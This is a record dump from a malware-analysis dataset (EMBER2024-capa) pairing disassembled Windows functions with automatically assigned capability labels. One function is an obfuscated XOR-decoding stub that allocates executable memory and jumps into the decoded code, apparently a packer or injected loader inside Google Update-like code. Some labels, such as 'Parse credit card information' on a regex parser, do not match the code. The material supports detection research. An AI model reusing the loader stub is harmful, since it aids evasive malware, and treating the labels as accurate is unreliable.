joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1062e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1062e1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1062e07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1062e06a
add dl, dl
jne 0x1062e089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1062e0dc
xor eax, eax
add dl, dl
jne 0x1062e096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1062e17d
add dl, dl
jne 0x1062e0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1062e0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1062e0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1062e0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1062e0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1062e075
mov eax, 1
add dl, dl
jne 0x1062e0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1062e0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1062e0e1
sub eax, ebx
mov ebx, 1
jne 0x1062e128
mov ecx, 1
add dl, dl
jne 0x1062e10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1062e119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1062e105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1062e075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1062e13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1062e14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1062e136
cmp eax, 0x7d00
jae 0x1062e16d
cmp eax, 0x500
jb 0x1062e168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1062e075
cmp eax, 0x7f
ja 0x1062e170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1062e075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1062e19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1062e075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x18005ec8
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 8], 0
jne 0x18005f49
mov byte [esi + 8], 1
call fcn.18092506
cmp dword [esi + 0x10], 0
je 0x18005f49
test al, al
je 0x18005ee8
mov byte [esi + 0xa], 1
mov ecx, esi
call fcn.18006587
test al, al
jne 0x18005f0f
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
pop esi
ret
mov ecx, esi
call fcn.18092506
cmp dword [esi + 0x18], 0
jne 0x18005f36
push dword [esi + 0x14]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_create_logging_file__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp dword [esi + 0x10], 0
mov byte [esi + 9], 1
je 0x18005f49
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
pop esi
ret

Function at 0x18006587
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x10], 0
jne 0x18006594
xor al, al
pop esi
ret
push 0x1f4
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180065cd
cmp eax, 0x80
je 0x180065cd
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.1800b1a8
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov byte [esi + 9], 0
jmp 0x18006590
mov al, 1
pop esi
ret

Function at 0x18006f28
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
lea ebx, [ecx + 4]
push edi
mov edi, edx
test ebx, ebx
je 0x18006f5e
lea esi, [edi + 4]
test esi, esi
je 0x18006f5e
call fcn.180044de
test al, al
je 0x18006f5e
mov ecx, edi
call fcn.180044de
test al, al
je 0x18006f5e
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
setne al
jmp 0x18006f60
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x18009251
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push esi
push edi
push str.Global_MSIExecute
xor edi, edi
push edi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexW]
mov esi, eax
test esi, esi
jne 0x18009286
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x180092c7
test eax, eax
jle 0x180092b5
movzx edi, ax
or edi, 0x80070000
jmp 0x180092c7
push 0x493e0
push esi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x180092c0
cmp eax, 0x80
je 0x180092c0
cmp eax, 0x102
je 0x180092b9
cmp eax, 0xffffffff
je 0x180092b0
mov edi, 0x80004005
jmp 0x180092c7
call fcn.18012ae1
mov edi, eax
jmp 0x180092c7
mov edi, 0x800705b4
jmp 0x180092c7
push esi
call dword [sym.imp.kernel32.dll_ReleaseMutex]
test esi, esi
je 0x180092d2
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x18012b1f
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x18012b8e
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x18012b6a
push ebx
push edi
push eax
call fcn.18140600
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x18012b85
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret

Function at 0x1801cdca
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x1c]
and dword [esi + 0x1c], 0
test ecx, ecx
je 0x1801cdde
mov eax, dword [ecx]
push 1
call dword [eax]
push 0
lea ecx, [esi + 0x18]
call fcn.18092506
mov ecx, dword [0x181c07a8]
pop esi
mov ecx, dword [ecx]
jmp fcn.180160a0
Function at 0x1803186f
Capabilities:
Parse credit card information

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
xor cl, cl
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x180319c2
mov edx, 0x10000000
cmp eax, 0x7c
je 0x180319c2
cmp eax, 0x29
jne 0x180318a8
cmp dword [esi + 0x10], 0
jne 0x180319c2
test dword [esi + 0x50], edx
je 0x180319c8
cmp eax, 0x2e
jne 0x180318c3
push 5
lea ecx, [esi + 0x24]
call fcn.18092506
mov ecx, esi
call fcn.18031846
jmp 0x180319ac
cmp eax, 0x5c
jne 0x18031918
mov ecx, esi
call fcn.18031846
test byte [esi + 0x50], 0x80
je 0x1803190c
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x180318f4
push 4
lea ecx, [esi + 0x24]
call fcn.18092506
mov ecx, esi
call fcn.18031846
jmp 0x180319b3
cmp eax, 0x42
jne 0x1803190c
push 4
lea ecx, [esi + 0x24]
call fcn.18092506
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x180318e8
mov ecx, esi
call fcn.180325c9
jmp 0x180319ac
cmp eax, 0x5b
jne 0x18031938
mov ecx, esi
call fcn.18031846
mov ecx, esi
call fcn.1803257d
cmp dword [esi + 0x4c], 0x5d
je 0x180318b7
push 4
jmp 0x180319ca
cmp eax, 0x28
jne 0x18031955
mov ecx, esi
call fcn.18031846
mov ecx, esi
call fcn.180326a2
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x180319c8
jmp 0x180319a1
cmp eax, 0x5e
jne 0x1803195e
push 2
jmp 0x180318e0
cmp eax, 0x24
jne 0x1803196a
push 3
jmp 0x180318e0
cmp eax, 0x2a
je 0x180319be
cmp eax, 0x2b
je 0x180319be
cmp eax, 0x3f
je 0x180319be
cmp eax, 0x7b
je 0x180319be
cmp eax, 0x7d
jne 0x18031988
test dword [esi + 0x50], edx
je 0x180319ba
cmp eax, 0x5d
jne 0x18031992
test dword [esi + 0x50], edx
je 0x18031931
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.18092506
mov bl, 1
mov ecx, esi
call fcn.18031846
test bl, bl
je 0x180319b3
mov ecx, esi
call fcn.18092506
mov cl, 1
jmp 0x18031876
push 6
jmp 0x180319ca
push 0xa
jmp 0x180319ca
pop esi
mov al, cl
pop ebx
pop ecx
ret
push 5
call fcn.18092506
int3

Function at 0x1803da90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
xor edi, edi
push edi
push dword [ecx]
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
je 0x1803dad3
push str.GOOGLEUPDATEAPPLICATIONCOMMANDS
push 1
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x1803dad3
push ebx
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
cmp eax, 4
jne 0x1803db01
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
jne 0x1803daea
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
test edi, edi
jle 0x1803db06
movzx edi, di
or edi, 0x80070000
jmp 0x1803db06
push eax
call dword [sym.imp.kernel32.dll_LockResource]
test eax, eax
jne 0x1803dafc
mov edi, 0x80070006
jmp 0x1803db06
cmp dword [eax], 1
je 0x1803db06
mov edi, 0x8000ffff
test esi, esi
je 0x1803db11
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x18081df3
Capabilities:
Inspect section memory permissions

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + 8]
mov ebx, dword [edi]
test bl, bl
je 0x18081e68
test bl, 1
je 0x18081e0e
lea ecx, [esi + 0x14]
call fcn.1804fc74
test bl, 2
je 0x18081e1b
mov ecx, dword [esi + 0x18]
call fcn.18056c8b
test bl, 4
je 0x18081e28
mov ecx, dword [esi + 0x1c]
call fcn.180d29b0
test bl, 8
je 0x18081e35
mov ecx, dword [esi + 0x20]
call fcn.18092506
test bl, 0x10
je 0x18081e42
mov ecx, dword [esi + 0x24]
call fcn.1805d433
test bl, 0x20
je 0x18081e4f
mov ecx, dword [esi + 0x28]
call fcn.1805d433
test bl, 0x40
je 0x18081e5c
mov ecx, dword [esi + 0x2c]
call fcn.180730e9
test bl, bl
jns 0x18081e68
mov ecx, dword [esi + 0x30]
call fcn.180d29b0
test ebx, 0xff00
je 0x18081ef4
test ebx, 0x100
je 0x18081e84
mov ecx, dword [esi + 0x34]
call fcn.1805581d
test ebx, 0x200
je 0x18081e94
mov ecx, dword [esi + 0x38]
call fcn.1807376b
test ebx, 0x400
je 0x18081ea4
mov ecx, dword [esi + 0x3c]
call fcn.18074298
test ebx, 0x800
je 0x18081eb4
mov ecx, dword [esi + 0x40]
call fcn.18074298
test ebx, 0x1000
je 0x18081ec4
mov ecx, dword [esi + 0x44]
call fcn.18092506
test ebx, 0x2000
je 0x18081ed4
mov ecx, dword [esi + 0x48]
call fcn.180551ff
test ebx, 0x4000
je 0x18081ee4
mov ecx, dword [esi + 0x4c]
call fcn.180551ff
test ebx, 0x8000
je 0x18081ef4
mov ecx, dword [esi + 0x50]
call fcn.180d29b0
test ebx, 0xff0000
je 0x18081f80
test ebx, 0x10000
je 0x18081f10
mov ecx, dword [esi + 0x54]
call fcn.180d29b0
test ebx, 0x20000
je 0x18081f20
mov ecx, dword [esi + 0x58]
call fcn.18076c08
test ebx, 0x40000
je 0x18081f30
mov ecx, dword [esi + 0x5c]
call fcn.180d29b0
test ebx, 0x80000
je 0x18081f40
mov ecx, dword [esi + 0x60]
call fcn.18092506
test ebx, 0x100000
je 0x18081f50
mov ecx, dword [esi + 0x64]
call fcn.1805581d
test ebx, 0x200000
je 0x18081f60
mov ecx, dword [esi + 0x68]
call fcn.180d29b0
test ebx, 0x400000
je 0x18081f70
mov ecx, dword [esi + 0x6c]
call fcn.180d29b0
test ebx, 0x800000
je 0x18081f80
mov ecx, dword [esi + 0x70]
call fcn.180d29b0
test ebx, 0xff000000
je 0x18082017
test ebx, 0x1000000
je 0x18081f9c
mov ecx, dword [esi + 0x74]
call fcn.18073ce6
test ebx, 0x2000000
je 0x18081fac
mov ecx, dword [esi + 0x78]
call fcn.180d29b0
test ebx, 0x4000000
je 0x18081fbc
mov ecx, dword [esi + 0x7c]
call fcn.1805d433
test ebx, 0x8000000
je 0x18081fcf
mov ecx, dword [esi + 0x80]
call fcn.1805ad79
test ebx, 0x10000000
je 0x18081fe2
mov ecx, dword [esi + 0x84]
call fcn.180770e7
test ebx, 0x20000000
je 0x18081ff5
mov ecx, dword [esi + 0x88]
call fcn.180d29b0
test ebx, 0x40000000
je 0x18082008
mov ecx, dword [esi + 0x8c]
call fcn.1807f075
test ebx, ebx
jns 0x18082017
mov ecx, dword [esi + 0x90]
call fcn.18056923
test byte [esi + 0xc], 1
je 0x18082028
mov ecx, dword [esi + 0x94]
call fcn.1807224e
push 8
push 0
push edi
call fcn.1813fd80
add esp, 0xc
lea ecx, [esi + 4]
test byte [ecx], 1
pop edi
pop esi
pop ebx
jne fcn.18087617
ret
Function at 0x18092506
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x18092515
pop dword [ebp - 0x3c]
mov eax, 0xf9dc23fc
sub eax, 0xe1d2fee7
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0xc639d
push 0
mov eax, 0xfc4ae781
sub eax, 0xe4346349
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x3f77
xor esi, esi
add esi, eax
mov edi, 0x437749cf
add edi, 0xd4a6dc31
add edi, dword [ebp - 0x3c]
mov ebx, 0xef569a15
sub dword [ebp - 0x18], ecx
mov edx, dword [edi]
xor dword [ebp - 0x18], edi
xor edx, ebx
mov dword [esi], edx
sub dword [ebp - 0x18], ecx
add esi, 4
add edi, 4
loop 0x1809256a
add eax, 0x7dec9618
add eax, 0x82145a97
mov ebx, eax
add eax, 0x96fffb6d
add eax, 0x69000498
mov ecx, 0x256b6f0c
add ecx, 0xf29490f4
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x180a2ae7
Capabilities:
Check mutex on windows

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
push dword [edi + 4]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov esi, eax
mov eax, dword [edi + 8]
cmp eax, esi
je 0x180a2b12
test eax, eax
je 0x180a2b0d
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [edi + 8], esi
mov eax, esi
test eax, eax
je 0x180a2b24
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
setne bl
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x180b4a3a
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x181ba008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0x200
lea eax, [ebp - 0x204]
push 0
push eax
call fcn.1813fd80
add esp, 0xc
mov dword [ebp - 0x20c], 0x100
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
push 3
call dword [sym.imp.kernel32.dll_GetComputerNameExW]
xor ebx, ebx
inc ebx
test eax, eax
je 0x180b4aa1
push ebx
mov edx, str..google.com
lea ecx, [ebp - 0x204]
call fcn.18092506
pop ecx
test al, al
jne 0x180b4ae6
and dword [ebp - 0x208], 0
lea eax, [ebp - 0x208]
push esi
push eax
push 0x64
push 0
call dword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
mov esi, dword [ebp - 0x208]
test eax, eax
jne 0x180b4adc
cmp dword [esi + 8], eax
je 0x180b4adc
push str.google
push dword [esi + 8]
call fcn.18092506
pop ecx
pop ecx
test eax, eax
je 0x180b4ade
xor bl, bl
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop esi
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.1813d268
leave
ret

Function at 0x180b95eb
Capabilities:
Identify system language via api

Disassembly:
push ebx
mov ebx, ecx
push esi
test dl, dl
je 0x180b95fb
call dword [sym.imp.kernel32.dll_GetSystemDefaultLangID]
jmp 0x180b9601
call dword [sym.imp.kernel32.dll_GetUserDefaultLangID]
xor edx, edx
movzx esi, ax
mov ecx, 0x409
push edi
mov edi, edx
mov eax, ecx
cmp si, ax
je 0x180b9629
inc edi
imul eax, edi, 0x1a
movzx eax, word [eax + 0x1818d4f0]
test ax, ax
jne 0x180b9610
mov esi, ecx
jmp 0x180b962c
movzx esi, si
pop edi
cmp cx, si
je 0x180b9649
inc edx
imul eax, edx, 0x1a
movzx ecx, word [eax + 0x1818d4f0]
test cx, cx
jne 0x180b962d
mov eax, 0x18175bfc
jmp 0x180b9651
imul eax, edx, 0x1a
add eax, 0x1818d4f2
push eax
mov ecx, ebx
call fcn.18092506
pop esi
mov eax, ebx
pop ebx
ret
Function at 0x180c62b3
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
lea ecx, [esi + 8]
mov eax, dword [ecx]
call dword [eax + 0xc]
test eax, eax
jg 0x180c616f
movzx ecx, byte [0x181c21ae]
neg ecx
sbb ecx, ecx
and ecx, 0x181c1480
je 0x180c614a
push 7
pop edx
xor eax, eax
mov dword [ebp - 0x10], ecx
inc eax
mov dword [ebp - 0xc], edx
push eax
push edx
mov dword [ebp - 8], eax
call fcn.18092506
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push str._Google_Update_core_is_shutting_down..._
push eax
call fcn.18092506
pop ecx
pop ecx
push 0
push 0
push 0x12
push dword [esi + 0x4c]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
jne 0x180c616f
push 0x80004004
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
xor eax, eax
pop esi
leave
ret
push esi
mov esi, ecx
call fcn.18092506
mov ecx, esi
pop esi
test al, al
je 0x180c60f9
jmp fcn.180c62cb
Function at 0x180c7f14
Capabilities:
Check if file exists

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x100
mov eax, dword [0x181ba008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx + 8]
mov dword [ebp - 0xc8], ecx
mov ecx, dword [ebx + 0xc]
mov dword [ebp - 0xd4], ecx
mov ecx, dword [ebx + 0x10]
push esi
mov dword [ebp - 0xd8], ecx
xor ecx, ecx
push edi
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0x24], ecx
mov byte [ebp - 0x34], cl
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], ecx
lea ecx, [ebp - 0xfc]
push eax
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0x20], 0xf
call fcn.18092506
push 0xc
call fcn.18092506
mov esi, eax
lea edi, [ebp - 0xfc]
pop ecx
mov dword [ebp - 0xe4], esi
lea ecx, [esi + 0xc]
mov dword [ebp - 0xdc], ecx
push edi
mov ecx, esi
call fcn.18092506
add edi, 0xc
lea eax, [ebp - 0xf0]
add esi, 0xc
cmp edi, eax
jne 0x180c7fae
mov edi, dword [ebp - 0xc8]
lea eax, [ebp - 0xbc]
push 3
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0xc0], eax
push dword [edi]
call fcn.18092506
mov ecx, dword [ebp - 0xc0]
xor eax, eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], al
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x180c8005
sub ecx, edx
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x1c]
call fcn.18092506
mov edx, dword [ebp - 0xd0]
lea eax, [ebp - 0x34]
push ecx
push eax
lea eax, [ebp - 0xf0]
push eax
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1c]
call fcn.18092506
add esp, 0x10
lea ecx, [ebp - 0x1c]
test eax, eax
setne byte [ebp - 0xc1]
call fcn.1800dfeb
lea eax, [ebp - 0xbc]
cmp dword [ebp - 0xc0], eax
je 0x180c806c
push dword [ebp - 0xc0]
call fcn.18143ba6
pop ecx
lea ecx, [ebp - 0xe4]
call fcn.18092506
lea ecx, [ebp - 0xfc]
call fcn.1800b04e
lea ecx, [ebp - 0xf0]
call fcn.1800b04e
cmp byte [ebp - 0xc1], 0
je 0x180c80a2
mov dword [ebp - 0xcc], 0x80092009
jmp 0x180c811b
mov esi, dword [ebp - 0xd4]
mov ecx, edi
mov edx, esi
call fcn.18092506
test al, al
jne 0x180c80c1
mov dword [ebp - 0xcc], 0x8000ffff
jmp 0x180c811b
mov ecx, dword [esi]
sub ecx, 0x10
call fcn.18006ae9
add eax, 0x10
lea ecx, [ebp - 0xc8]
push str.GoogleUpdateSetup.exe
mov dword [ebp - 0xc8], eax
call fcn.18092506
mov esi, dword [ebp - 0xc8]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x180c8101
mov dword [ebp - 0xcc], 0x80070002
jmp 0x180c8113
mov ecx, dword [ebp - 0xd8]
lea eax, [ebp - 0xc8]
push eax
call fcn.18092506
lea ecx, [esi - 0x10]
call fcn.180042a6
lea ecx, [ebp - 0x34]
call fcn.1800dfeb
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xcc]
xor ecx, ebp
pop edi
pop esi
call fcn.1813d268
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4020a0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x435392
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x442cfc]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov edi, dword [esp + 0x28]
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov dword [edi], 0x43a838
mov dword [edi + 0x58], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
lea esi, [edi + 8]
push esi
mov dword [esp + 0x24], ebx
push edi
mov dword [esp + 0x1c], 1
call fcn.00403230
mov dword [esp + 0x20], 1
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push esi
mov dword [edi + ecx], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
call fcn.00404100
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], bl
mov byte [esi + 0x41], bl
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [esi + 0x24]
mov dword [eax], ebx
mov ecx, dword [esi + 0x34]
mov dword [ecx], ebx
mov edx, dword [esi + 0x10]
mov dword [edx], ebx
mov eax, dword [esi + 0x20]
mov edx, dword [0x44701c]
mov dword [eax], ebx
mov ecx, dword [esi + 0x30]
mov dword [ecx], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x44], edx
mov dword [esi + 0x3c], ebx
mov eax, dword [esp + 0x2c]
push eax
mov byte [esp + 0x24], 2
call fcn.00403660
test eax, eax
jne 0x4021a1
mov ecx, dword [edi]
mov ecx, dword [ecx + 4]
mov eax, dword [ecx + edi + 8]
add ecx, edi
or eax, 2
cmp dword [ecx + 0x28], ebx
jne 0x402190
or eax, 4
and eax, 0x17
mov dword [ecx + 8], eax
test dword [ecx + 0xc], eax
je 0x4021a1
push ebx
call fcn.00407060
mov eax, edi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret 8
Function at 0x404100
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x43490b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x442cfc]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004325af
push 4
mov dword [esp + 0x20], 0
call fcn.0040ee90
mov edi, eax
add esp, 4
test edi, edi
je 0x40417e
call fcn.00432919
mov dword [edi], eax
call fcn.00432747
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.00432570
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x404173
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.00432598
jmp 0x404180
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4

Function at 0x407430
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x407449
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x407484
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x407480
lea ebx, [ebx]
cmp esi, eax
jae 0x407484
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x407470
cmp esi, eax
jb 0x40748a
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x407a70
Capabilities:
Accept command line arguments

Disassembly:
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call fcn.0041030d
test eax, eax
jne 0x407a9f
push 0x43a978
call fcn.0041c0b7
add esp, 4
lea eax, [esi + 1]
pop esi
ret
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [esp + 0x10]
push eax
call fcn.0040c7e0
add esp, 4
pop ebx
mov eax, esi
pop esi
ret